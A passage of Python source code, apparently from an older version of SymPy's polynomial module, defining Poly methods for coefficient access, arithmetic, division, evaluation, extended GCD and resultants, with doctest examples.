x).all_coeffs() [1, 0, 2, -1] """ return [ f.rep.dom.to_sympy(c) for c in f.rep.all_coeffs() ] def all_monoms(f): """ Returns all monomials from a univariate polynomial ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**3 + 2*x - 1, x).all_monoms() [(3,), (2,), (1,), (0,)] See Also ======== all_terms """ return f.rep.all_monoms() def all_terms(f): """ Returns all terms from a univariate polynomial ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**3 + 2*x - 1, x).all_terms() [((3,), 1), ((2,), 0), ((1,), 2), ((0,), -1)] """ return [ (m, f.rep.dom.to_sympy(c)) for m, c in f.rep.all_terms() ] def termwise(f, func, *gens, **args): """ Apply a function to all terms of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> def func((k,), coeff): ... return coeff//10**(2-k) >>> Poly(x**2 + 20*x + 400).termwise(func) Poly(x**2 + 2*x + 4, x, domain='ZZ') """ terms = {} for monom, coeff in f.terms(): result = func(monom, coeff) if isinstance(result, tuple): monom, coeff = result else: coeff = result if coeff: if monom not in terms: terms[monom] = coeff else: raise PolynomialError( "%s monomial was generated twice" % monom) return f.from_dict(terms, *(gens or f.gens), **args) def length(f): """ Returns the number of non-zero terms in ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 2*x - 1).length() 3 """ return len(f.as_dict()) def as_dict(f, native=False, zero=False): """ Switch to a ``dict`` representation. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + 2*x*y**2 - y, x, y).as_dict() {(0, 1): -1, (1, 2): 2, (2, 0): 1} """ if native: return f.rep.to_dict(zero=zero) else: return f.rep.to_sympy_dict(zero=zero) def as_list(f, native=False): """Switch to a ``list`` representation. """ if native: return f.rep.to_list() else: return f.rep.to_sympy_list() def as_expr(f, *gens): """ Convert a Poly instance to an Expr instance. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f = Poly(x**2 + 2*x*y**2 - y, x, y) >>> f.as_expr() x**2 + 2*x*y**2 - y >>> f.as_expr({x: 5}) 10*y**2 - y + 25 >>> f.as_expr(5, 6) 379 """ if not gens: gens = f.gens elif len(gens) == 1 and isinstance(gens[0], dict): mapping = gens[0] gens = list(f.gens) for gen, value in mapping.iteritems(): try: index = gens.index(gen) except ValueError: raise GeneratorsError( "%s doesn't have %s as generator" % (f, gen)) else: gens[index] = value return basic_from_dict(f.rep.to_sympy_dict(), *gens) def lift(f): """ Convert algebraic coefficients to rationals. Examples ======== >>> from sympy import Poly, I >>> from sympy.abc import x >>> Poly(x**2 + I*x + 1, x, extension=I).lift() Poly(x**4 + 3*x**2 + 1, x, domain='QQ') """ if hasattr(f.rep, 'lift'): result = f.rep.lift() else: # pragma: no cover raise OperationNotSupported(f, 'lift') return f.per(result) def deflate(f): """ Reduce degree of ``f`` by mapping ``x_i**m`` to ``y_i``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**6*y**2 + x**3 + 1, x, y).deflate() ((3, 2), Poly(x**2*y + x + 1, x, y, domain='ZZ')) """ if hasattr(f.rep, 'deflate'): J, result = f.rep.deflate() else: # pragma: no cover raise OperationNotSupported(f, 'deflate') return J, f.per(result) def inject(f, front=False): """ Inject ground domain generators into ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f = Poly(x**2*y + x*y**3 + x*y + 1, x) >>> f.inject() Poly(x**2*y + x*y**3 + x*y + 1, x, y, domain='ZZ') >>> f.inject(front=True) Poly(y**3*x + y*x**2 + y*x + 1, y, x, domain='ZZ') """ dom = f.rep.dom if dom.is_Numerical: return f elif not dom.is_Poly: raise DomainError("can't inject generators over %s" % dom) if hasattr(f.rep, 'inject'): result = f.rep.inject(front=front) else: # pragma: no cover raise OperationNotSupported(f, 'inject') if front: gens = dom.gens + f.gens else: gens = f.gens + dom.gens return f.new(result, *gens) def eject(f, *gens): """ Eject selected generators into the ground domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f = Poly(x**2*y + x*y**3 + x*y + 1, x, y) >>> f.eject(x) Poly(x*y**3 + (x**2 + x)*y + 1, y, domain='ZZ[x]') >>> f.eject(y) Poly(y*x**2 + (y**3 + y)*x + 1, x, domain='ZZ[y]') """ dom = f.rep.dom if not dom.is_Numerical: raise DomainError("can't eject generators over %s" % dom) n, k = len(f.gens), len(gens) if f.gens[:k] == gens: _gens, front = f.gens[k:], True elif f.gens[-k:] == gens: _gens, front = f.gens[:-k], False else: raise NotImplementedError( "can only eject front or back generators") dom = dom.inject(*gens) if hasattr(f.rep, 'eject'): result = f.rep.eject(dom, front=front) else: # pragma: no cover raise OperationNotSupported(f, 'eject') return f.new(result, *_gens) def terms_gcd(f): """ Remove GCD of terms from the polynomial ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**6*y**2 + x**3*y, x, y).terms_gcd() ((3, 1), Poly(x**3*y + 1, x, y, domain='ZZ')) """ if hasattr(f.rep, 'terms_gcd'): J, result = f.rep.terms_gcd() else: # pragma: no cover raise OperationNotSupported(f, 'terms_gcd') return J, f.per(result) def add_ground(f, coeff): """ Add an element of the ground domain to ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x + 1).add_ground(2) Poly(x + 3, x, domain='ZZ') """ if hasattr(f.rep, 'add_ground'): result = f.rep.add_ground(coeff) else: # pragma: no cover raise OperationNotSupported(f, 'add_ground') return f.per(result) def sub_ground(f, coeff): """ Subtract an element of the ground domain from ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x + 1).sub_ground(2) Poly(x - 1, x, domain='ZZ') """ if hasattr(f.rep, 'sub_ground'): result = f.rep.sub_ground(coeff) else: # pragma: no cover raise OperationNotSupported(f, 'sub_ground') return f.per(result) def mul_ground(f, coeff): """ Multiply ``f`` by a an element of the ground domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x + 1).mul_ground(2) Poly(2*x + 2, x, domain='ZZ') """ if hasattr(f.rep, 'mul_ground'): result = f.rep.mul_ground(coeff) else: # pragma: no cover raise OperationNotSupported(f, 'mul_ground') return f.per(result) def quo_ground(f, coeff): """ Quotient of ``f`` by a an element of the ground domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(2*x + 4).quo_ground(2) Poly(x + 2, x, domain='ZZ') >>> Poly(2*x + 3).quo_ground(2) Poly(x + 1, x, domain='ZZ') """ if hasattr(f.rep, 'quo_ground'): result = f.rep.quo_ground(coeff) else: # pragma: no cover raise OperationNotSupported(f, 'quo_ground') return f.per(result) def exquo_ground(f, coeff): """ Exact quotient of ``f`` by a an element of the ground domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(2*x + 4).exquo_ground(2) Poly(x + 2, x, domain='ZZ') >>> Poly(2*x + 3).exquo_ground(2) Traceback (most recent call last): ... ExactQuotientFailed: 2 does not divide 3 in ZZ """ if hasattr(f.rep, 'exquo_ground'): result = f.rep.exquo_ground(coeff) else: # pragma: no cover raise OperationNotSupported(f, 'exquo_ground') return f.per(result) def abs(f): """ Make all coefficients in ``f`` positive. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 1, x).abs() Poly(x**2 + 1, x, domain='ZZ') """ if hasattr(f.rep, 'abs'): result = f.rep.abs() else: # pragma: no cover raise OperationNotSupported(f, 'abs') return f.per(result) def neg(f): """ Negate all coefficients in ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 1, x).neg() Poly(-x**2 + 1, x, domain='ZZ') >>> -Poly(x**2 - 1, x) Poly(-x**2 + 1, x, domain='ZZ') """ if hasattr(f.rep, 'neg'): result = f.rep.neg() else: # pragma: no cover raise OperationNotSupported(f, 'neg') return f.per(result) def add(f, g): """ Add two polynomials ``f`` and ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).add(Poly(x - 2, x)) Poly(x**2 + x - 1, x, domain='ZZ') >>> Poly(x**2 + 1, x) + Poly(x - 2, x) Poly(x**2 + x - 1, x, domain='ZZ') """ g = sympify(g) if not g.is_Poly: return f.add_ground(g) _, per, F, G = f._unify(g) if hasattr(f.rep, 'add'): result = F.add(G) else: # pragma: no cover raise OperationNotSupported(f, 'add') return per(result) def sub(f, g): """ Subtract two polynomials ``f`` and ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).sub(Poly(x - 2, x)) Poly(x**2 - x + 3, x, domain='ZZ') >>> Poly(x**2 + 1, x) - Poly(x - 2, x) Poly(x**2 - x + 3, x, domain='ZZ') """ g = sympify(g) if not g.is_Poly: return f.sub_ground(g) _, per, F, G = f._unify(g) if hasattr(f.rep, 'sub'): result = F.sub(G) else: # pragma: no cover raise OperationNotSupported(f, 'sub') return per(result) def mul(f, g): """ Multiply two polynomials ``f`` and ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).mul(Poly(x - 2, x)) Poly(x**3 - 2*x**2 + x - 2, x, domain='ZZ') >>> Poly(x**2 + 1, x)*Poly(x - 2, x) Poly(x**3 - 2*x**2 + x - 2, x, domain='ZZ') """ g = sympify(g) if not g.is_Poly: return f.mul_ground(g) _, per, F, G = f._unify(g) if hasattr(f.rep, 'mul'): result = F.mul(G) else: # pragma: no cover raise OperationNotSupported(f, 'mul') return per(result) def sqr(f): """ Square a polynomial ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x - 2, x).sqr() Poly(x**2 - 4*x + 4, x, domain='ZZ') >>> Poly(x - 2, x)**2 Poly(x**2 - 4*x + 4, x, domain='ZZ') """ if hasattr(f.rep, 'sqr'): result = f.rep.sqr() else: # pragma: no cover raise OperationNotSupported(f, 'sqr') return f.per(result) def pow(f, n): """ Raise ``f`` to a non-negative power ``n``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x - 2, x).pow(3) Poly(x**3 - 6*x**2 + 12*x - 8, x, domain='ZZ') >>> Poly(x - 2, x)**3 Poly(x**3 - 6*x**2 + 12*x - 8, x, domain='ZZ') """ n = int(n) if hasattr(f.rep, 'pow'): result = f.rep.pow(n) else: # pragma: no cover raise OperationNotSupported(f, 'pow') return f.per(result) def pdiv(f, g): """ Polynomial pseudo-division of ``f`` by ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).pdiv(Poly(2*x - 4, x)) (Poly(2*x + 4, x, domain='ZZ'), Poly(20, x, domain='ZZ')) """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'pdiv'): q, r = F.pdiv(G) else: # pragma: no cover raise OperationNotSupported(f, 'pdiv') return per(q), per(r) def prem(f, g): """ Polynomial pseudo-remainder of ``f`` by ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).prem(Poly(2*x - 4, x)) Poly(20, x, domain='ZZ') """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'prem'): result = F.prem(G) else: # pragma: no cover raise OperationNotSupported(f, 'prem') return per(result) def pquo(f, g): """ Polynomial pseudo-quotient of ``f`` by ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).pquo(Poly(2*x - 4, x)) Poly(2*x + 4, x, domain='ZZ') >>> Poly(x**2 - 1, x).pquo(Poly(2*x - 2, x)) Poly(2*x + 2, x, domain='ZZ') """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'pquo'): result = F.pquo(G) else: # pragma: no cover raise OperationNotSupported(f, 'pquo') return per(result) def pexquo(f, g): """ Polynomial exact pseudo-quotient of ``f`` by ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 1, x).pexquo(Poly(2*x - 2, x)) Poly(2*x + 2, x, domain='ZZ') >>> Poly(x**2 + 1, x).pexquo(Poly(2*x - 4, x)) Traceback (most recent call last): ... ExactQuotientFailed: 2*x - 4 does not divide x**2 + 1 """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'pexquo'): try: result = F.pexquo(G) except ExactQuotientFailed, exc: raise exc.new(f.as_expr(), g.as_expr()) else: # pragma: no cover raise OperationNotSupported(f, 'pexquo') return per(result) def div(f, g, auto=True): """ Polynomial division with remainder of ``f`` by ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).div(Poly(2*x - 4, x)) (Poly(1/2*x + 1, x, domain='QQ'), Poly(5, x, domain='QQ')) >>> Poly(x**2 + 1, x).div(Poly(2*x - 4, x), auto=False) (Poly(0, x, domain='ZZ'), Poly(x**2 + 1, x, domain='ZZ')) """ dom, per, F, G = f._unify(g) retract = False if auto and dom.has_Ring and not dom.has_Field: F, G = F.to_field(), G.to_field() retract = True if hasattr(f.rep, 'div'): q, r = F.div(G) else: # pragma: no cover raise OperationNotSupported(f, 'div') if retract: try: Q, R = q.to_ring(), r.to_ring() except CoercionFailed: pass else: q, r = Q, R return per(q), per(r) def rem(f, g, auto=True): """ Computes the polynomial remainder of ``f`` by ``g``. Examples ======== >>> from sympy import Poly, ZZ, QQ >>> from sympy.abc import x >>> Poly(x**2 + 1, x).rem(Poly(2*x - 4, x)) Poly(5, x, domain='ZZ') >>> Poly(x**2 + 1, x).rem(Poly(2*x - 4, x), auto=False) Poly(x**2 + 1, x, domain='ZZ') """ dom, per, F, G = f._unify(g) retract = False if auto and dom.has_Ring and not dom.has_Field: F, G = F.to_field(), G.to_field() retract = True if hasattr(f.rep, 'rem'): r = F.rem(G) else: # pragma: no cover raise OperationNotSupported(f, 'rem') if retract: try: r = r.to_ring() except CoercionFailed: pass return per(r) def quo(f, g, auto=True): """ Computes polynomial quotient of ``f`` by ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).quo(Poly(2*x - 4, x)) Poly(1/2*x + 1, x, domain='QQ') >>> Poly(x**2 - 1, x).quo(Poly(x - 1, x)) Poly(x + 1, x, domain='ZZ') """ dom, per, F, G = f._unify(g) retract = False if auto and dom.has_Ring and not dom.has_Field: F, G = F.to_field(), G.to_field() retract = True if hasattr(f.rep, 'quo'): q = F.quo(G) else: # pragma: no cover raise OperationNotSupported(f, 'quo') if retract: try: q = q.to_ring() except CoercionFailed: pass return per(q) def exquo(f, g, auto=True): """ Computes polynomial exact quotient of ``f`` by ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 1, x).exquo(Poly(x - 1, x)) Poly(x + 1, x, domain='ZZ') >>> Poly(x**2 + 1, x).exquo(Poly(2*x - 4, x)) Traceback (most recent call last): ... ExactQuotientFailed: 2*x - 4 does not divide x**2 + 1 """ dom, per, F, G = f._unify(g) retract = False if auto and dom.has_Ring and not dom.has_Field: F, G = F.to_field(), G.to_field() retract = True if hasattr(f.rep, 'exquo'): try: q = F.exquo(G) except ExactQuotientFailed, exc: raise exc.new(f.as_expr(), g.as_expr()) else: # pragma: no cover raise OperationNotSupported(f, 'exquo') if retract: try: q = q.to_ring() except CoercionFailed: pass return per(q) def _gen_to_level(f, gen): """Returns level associated with the given generator. """ if isinstance(gen, int): length = len(f.gens) if -length <= gen < length: if gen < 0: return length + gen else: return gen else: raise PolynomialError("-%s <= gen < %s expected, got %s" % (length, length, gen)) else: try: return list(f.gens).index(sympify(gen)) except ValueError: raise PolynomialError( "a valid generator expected, got %s" % gen) def degree(f, gen=0): """ Returns degree of ``f`` in ``x_j``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + y*x + 1, x, y).degree() 2 >>> Poly(x**2 + y*x + y, x, y).degree(y) 1 """ j = f._gen_to_level(gen) if hasattr(f.rep, 'degree'): return f.rep.degree(j) else: # pragma: no cover raise OperationNotSupported(f, 'degree') def degree_list(f): """ Returns a list of degrees of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + y*x + 1, x, y).degree_list() (2, 1) """ if hasattr(f.rep, 'degree_list'): return f.rep.degree_list() else: # pragma: no cover raise OperationNotSupported(f, 'degree_list') def total_degree(f): """ Returns the total degree of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + y*x + 1, x, y).total_degree() 2 >>> Poly(x + y**5, x, y).total_degree() 5 """ if hasattr(f.rep, 'total_degree'): return f.rep.total_degree() else: # pragma: no cover raise OperationNotSupported(f, 'total_degree') def homogeneous_order(f): """ Returns the homogeneous order of ``f``. A homogeneous polynomial is a polynomial whose all monomials with non-zero coefficients have the same total degree. This degree is the homogeneous order of ``f``. If you only want to check if a polynomial is homogeneous, then use :func:`Poly.is_homogeneous`. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f = Poly(x**5 + 2*x**3*y**2 + 9*x*y**4) >>> f.homogeneous_order() 5 """ if hasattr(f.rep, 'homogeneous_order'): return f.rep.homogeneous_order() else: # pragma: no cover raise OperationNotSupported(f, 'homogeneous_order') def LC(f, order=None): """ Returns the leading coefficient of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(4*x**3 + 2*x**2 + 3*x, x).LC() 4 """ if order is not None: return f.coeffs(order)[0] if hasattr(f.rep, 'LC'): result = f.rep.LC() else: # pragma: no cover raise OperationNotSupported(f, 'LC') return f.rep.dom.to_sympy(result) def TC(f): """ Returns the trailing coefficient of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**3 + 2*x**2 + 3*x, x).TC() 0 """ if hasattr(f.rep, 'TC'): result = f.rep.TC() else: # pragma: no cover raise OperationNotSupported(f, 'TC') return f.rep.dom.to_sympy(result) def EC(f, order=None): """ Returns the last non-zero coefficient of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**3 + 2*x**2 + 3*x, x).EC() 3 """ if hasattr(f.rep, 'coeffs'): return f.coeffs(order)[-1] else: # pragma: no cover raise OperationNotSupported(f, 'EC') def coeff_monomial(f, monom): """ Returns the coefficient of ``monom`` in ``f`` if there, else None. Examples ======== >>> from sympy import Poly, exp >>> from sympy.abc import x, y >>> p = Poly(24*x*y*exp(8) + 23*x, x, y) >>> p.coeff_monomial(x) 23 >>> p.coeff_monomial(y) 0 >>> p.coeff_monomial(x*y) 24*exp(8) Note that ``Expr.coeff()`` behaves differently, collecting terms if possible; the Poly must be converted to an Expr to use that method, however: >>> p.as_expr().coeff(x) 24*y*exp(8) + 23 >>> p.as_expr().coeff(y) 24*x*exp(8) >>> p.as_expr().coeff(x*y) 24*exp(8) See Also ======== nth: more efficient query using exponents of the monomial's generators """ return f.nth(*Monomial(monom, f.gens).exponents) def nth(f, *N): """ Returns the ``n``-th coefficient of ``f`` where ``N`` are the exponents of the generators in the term of interest. Examples ======== >>> from sympy import Poly, sqrt >>> from sympy.abc import x, y >>> Poly(x**3 + 2*x**2 + 3*x, x).nth(2) 2 >>> Poly(x**3 + 2*x*y**2 + y**2, x, y).nth(1, 2) 2 >>> Poly(4*sqrt(x)*y) Poly(4*y*sqrt(x), y, sqrt(x), domain='ZZ') >>> _.nth(1, 1) 4 See Also ======== coeff_monomial """ if hasattr(f.rep, 'nth'): result = f.rep.nth(*map(int, N)) else: # pragma: no cover raise OperationNotSupported(f, 'nth') return f.rep.dom.to_sympy(result) def coeff(f, x, n=1, right=False): # the semantics of coeff_monomial and Expr.coeff are different; # if someone is working with a Poly, they should be aware of the # differences and chose the method best suited for the query. # Alternatively, a pure-polys method could be written here but # at this time the ``right`` keyword would be ignored because Poly # doesn't work with non-commutatives. raise NotImplementedError( 'Either convert to Expr with `as_expr` method ' 'to use Expr\'s coeff method or else use the ' '`coeff_monomial` method of Polys.') def LM(f, order=None): """ Returns the leading monomial of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(4*x**2 + 2*x*y**2 + x*y + 3*y, x, y).LM() x**2*y**0 """ return Monomial(f.monoms(order)[0], f.gens) def EM(f, order=None): """ Returns the last non-zero monomial of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(4*x**2 + 2*x*y**2 + x*y + 3*y, x, y).EM() x**0*y**1 """ return Monomial(f.monoms(order)[-1], f.gens) def LT(f, order=None): """ Returns the leading term of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(4*x**2 + 2*x*y**2 + x*y + 3*y, x, y).LT() (x**2*y**0, 4) """ monom, coeff = f.terms(order)[0] return Monomial(monom, f.gens), coeff def ET(f, order=None): """ Returns the last non-zero term of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(4*x**2 + 2*x*y**2 + x*y + 3*y, x, y).ET() (x**0*y**1, 3) """ monom, coeff = f.terms(order)[-1] return Monomial(monom, f.gens), coeff def max_norm(f): """ Returns maximum norm of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(-x**2 + 2*x - 3, x).max_norm() 3 """ if hasattr(f.rep, 'max_norm'): result = f.rep.max_norm() else: # pragma: no cover raise OperationNotSupported(f, 'max_norm') return f.rep.dom.to_sympy(result) def l1_norm(f): """ Returns l1 norm of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(-x**2 + 2*x - 3, x).l1_norm() 6 """ if hasattr(f.rep, 'l1_norm'): result = f.rep.l1_norm() else: # pragma: no cover raise OperationNotSupported(f, 'l1_norm') return f.rep.dom.to_sympy(result) def clear_denoms(f, convert=False): """ Clear denominators, but keep the ground domain. Examples ======== >>> from sympy import Poly, S, QQ >>> from sympy.abc import x >>> f = Poly(x/2 + S(1)/3, x, domain=QQ) >>> f.clear_denoms() (6, Poly(3*x + 2, x, domain='QQ')) >>> f.clear_denoms(convert=True) (6, Poly(3*x + 2, x, domain='ZZ')) """ if not f.rep.dom.has_Field: return S.One, f dom = f.get_domain() if dom.has_assoc_Ring: dom = f.rep.dom.get_ring() if hasattr(f.rep, 'clear_denoms'): coeff, result = f.rep.clear_denoms() else: # pragma: no cover raise OperationNotSupported(f, 'clear_denoms') coeff, f = dom.to_sympy(coeff), f.per(result) if not convert: return coeff, f else: return coeff, f.to_ring() def rat_clear_denoms(f, g): """ Clear denominators in a rational function ``f/g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f = Poly(x**2/y + 1, x) >>> g = Poly(x**3 + y, x) >>> p, q = f.rat_clear_denoms(g) >>> p Poly(x**2 + y, x, domain='ZZ[y]') >>> q Poly(y*x**3 + y**2, x, domain='ZZ[y]') """ dom, per, f, g = f._unify(g) f = per(f) g = per(g) if not (dom.has_Field and dom.has_assoc_Ring): return f, g a, f = f.clear_denoms(convert=True) b, g = g.clear_denoms(convert=True) f = f.mul_ground(b) g = g.mul_ground(a) return f, g def integrate(f, *specs, **args): """ Computes indefinite integral of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + 2*x + 1, x).integrate() Poly(1/3*x**3 + x**2 + x, x, domain='QQ') >>> Poly(x*y**2 + x, x, y).integrate((0, 1), (1, 0)) Poly(1/2*x**2*y**2 + 1/2*x**2, x, y, domain='QQ') """ if args.get('auto', True) and f.rep.dom.has_Ring: f = f.to_field() if hasattr(f.rep, 'integrate'): if not specs: return f.per(f.rep.integrate(m=1)) rep = f.rep for spec in specs: if type(spec) is tuple: gen, m = spec else: gen, m = spec, 1 rep = rep.integrate(int(m), f._gen_to_level(gen)) return f.per(rep) else: # pragma: no cover raise OperationNotSupported(f, 'integrate') def diff(f, *specs): """ Computes partial derivative of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + 2*x + 1, x).diff() Poly(2*x + 2, x, domain='ZZ') >>> Poly(x*y**2 + x, x, y).diff((0, 0), (1, 1)) Poly(2*x*y, x, y, domain='ZZ') """ if hasattr(f.rep, 'diff'): if not specs: return f.per(f.rep.diff(m=1)) rep = f.rep for spec in specs: if type(spec) is tuple: gen, m = spec else: gen, m = spec, 1 rep = rep.diff(int(m), f._gen_to_level(gen)) return f.per(rep) else: # pragma: no cover raise OperationNotSupported(f, 'diff') def eval(f, x, a=None, auto=True): """ Evaluate ``f`` at ``a`` in the given variable. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y, z >>> Poly(x**2 + 2*x + 3, x).eval(2) 11 >>> Poly(2*x*y + 3*x + y + 2, x, y).eval(x, 2) Poly(5*y + 8, y, domain='ZZ') >>> f = Poly(2*x*y + 3*x + y + 2*z, x, y, z) >>> f.eval({x: 2}) Poly(5*y + 2*z + 6, y, z, domain='ZZ') >>> f.eval({x: 2, y: 5}) Poly(2*z + 31, z, domain='ZZ') >>> f.eval({x: 2, y: 5, z: 7}) 45 >>> f.eval((2, 5)) Poly(2*z + 31, z, domain='ZZ') >>> f(2, 5) Poly(2*z + 31, z, domain='ZZ') """ if a is None: if isinstance(x, dict): mapping = x for gen, value in mapping.iteritems(): f = f.eval(gen, value) return f elif isinstance(x, (tuple, list)): values = x if len(values) > len(f.gens): raise ValueError("too many values provided") for gen, value in zip(f.gens, values): f = f.eval(gen, value) return f else: j, a = 0, x else: j = f._gen_to_level(x) if not hasattr(f.rep, 'eval'): # pragma: no cover raise OperationNotSupported(f, 'eval') try: result = f.rep.eval(a, j) except CoercionFailed: if not auto: raise DomainError("can't evaluate at %s in %s" % (a, f.rep.dom)) else: a_domain, [a] = construct_domain([a]) new_domain = f.get_domain().unify(a_domain, gens=f.gens) f = f.set_domain(new_domain) a = new_domain.convert(a, a_domain) result = f.rep.eval(a, j) return f.per(result, remove=j) def __call__(f, *values): """ Evaluate ``f`` at the give values. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y, z >>> f = Poly(2*x*y + 3*x + y + 2*z, x, y, z) >>> f(2) Poly(5*y + 2*z + 6, y, z, domain='ZZ') >>> f(2, 5) Poly(2*z + 31, z, domain='ZZ') >>> f(2, 5, 7) 45 """ return f.eval(values) def half_gcdex(f, g, auto=True): """ Half extended Euclidean algorithm of ``f`` and ``g``. Returns ``(s, h)`` such that ``h = gcd(f, g)`` and ``s*f = h (mod g)``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> f = x**4 - 2*x**3 - 6*x**2 + 12*x + 15 >>> g = x**3 + x**2 - 4*x - 4 >>> Poly(f).half_gcdex(Poly(g)) (Poly(-1/5*x + 3/5, x, domain='QQ'), Poly(x + 1, x, domain='QQ')) """ dom, per, F, G = f._unify(g) if auto and dom.has_Ring: F, G = F.to_field(), G.to_field() if hasattr(f.rep, 'half_gcdex'): s, h = F.half_gcdex(G) else: # pragma: no cover raise OperationNotSupported(f, 'half_gcdex') return per(s), per(h) def gcdex(f, g, auto=True): """ Extended Euclidean algorithm of ``f`` and ``g``. Returns ``(s, t, h)`` such that ``h = gcd(f, g)`` and ``s*f + t*g = h``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> f = x**4 - 2*x**3 - 6*x**2 + 12*x + 15 >>> g = x**3 + x**2 - 4*x - 4 >>> Poly(f).gcdex(Poly(g)) (Poly(-1/5*x + 3/5, x, domain='QQ'), Poly(1/5*x**2 - 6/5*x + 2, x, domain='QQ'), Poly(x + 1, x, domain='QQ')) """ dom, per, F, G = f._unify(g) if auto and dom.has_Ring: F, G = F.to_field(), G.to_field() if hasattr(f.rep, 'gcdex'): s, t, h = F.gcdex(G) else: # pragma: no cover raise OperationNotSupported(f, 'gcdex') return per(s), per(t), per(h) def invert(f, g, auto=True): """ Invert ``f`` modulo ``g`` when possible. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 - 1, x).invert(Poly(2*x - 1, x)) Poly(-4/3, x, domain='QQ') >>> Poly(x**2 - 1, x).invert(Poly(x - 1, x)) Traceback (most recent call last): ... NotInvertible: zero divisor """ dom, per, F, G = f._unify(g) if auto and dom.has_Ring: F, G = F.to_field(), G.to_field() if hasattr(f.rep, 'invert'): result = F.invert(G) else: # pragma: no cover raise OperationNotSupported(f, 'invert') return per(result) def revert(f, n): """Compute ``f**(-1)`` mod ``x**n``. """ if hasattr(f.rep, 'revert'): result = f.rep.revert(int(n)) else: # pragma: no cover raise OperationNotSupported(f, 'revert') return f.per(result) def subresultants(f, g): """ Computes the subresultant PRS of ``f`` and ``g``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).subresultants(Poly(x**2 - 1, x)) [Poly(x**2 + 1, x, domain='ZZ'), Poly(x**2 - 1, x, domain='ZZ'), Poly(-2, x, domain='ZZ')] """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'subresultants'): result = F.subresultants(G) else: # pragma: no cover raise OperationNotSupported(f, 'subresultants') return map(per, result) def resultant(f, g, includePRS=False): """ Computes the resultant of ``f`` and ``g`` via PRS. If includePRS=True, it includes the subresultant PRS in the result. Because the PRS is used to calculate the resultant, this is more efficient than calling :func:`subresultants` separately. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> f = Poly(x**2 + 1, x) >>> f.resultant(Poly(x**2 - 1, x)) 4 >>> f.resultant(Poly(x**2 - 1, x), includePRS=True) (4, [Poly(x**2 + 1, x, domain='ZZ'), Poly(x**2 - 1, x, domain='ZZ'), Poly(-2, x, domain='ZZ')]) """ _, per, F, G = f._unify(g) if hasattr(f.rep, 'resultant'): if includePRS: result, R = F.resultant(G, includePRS=includePRS) else: result = F.resultant(G) else: # pragma: no cover raise OperationNotSupported(f, 'resultant') if includePRS: return (per(result, remove=0), map(per, R)) return 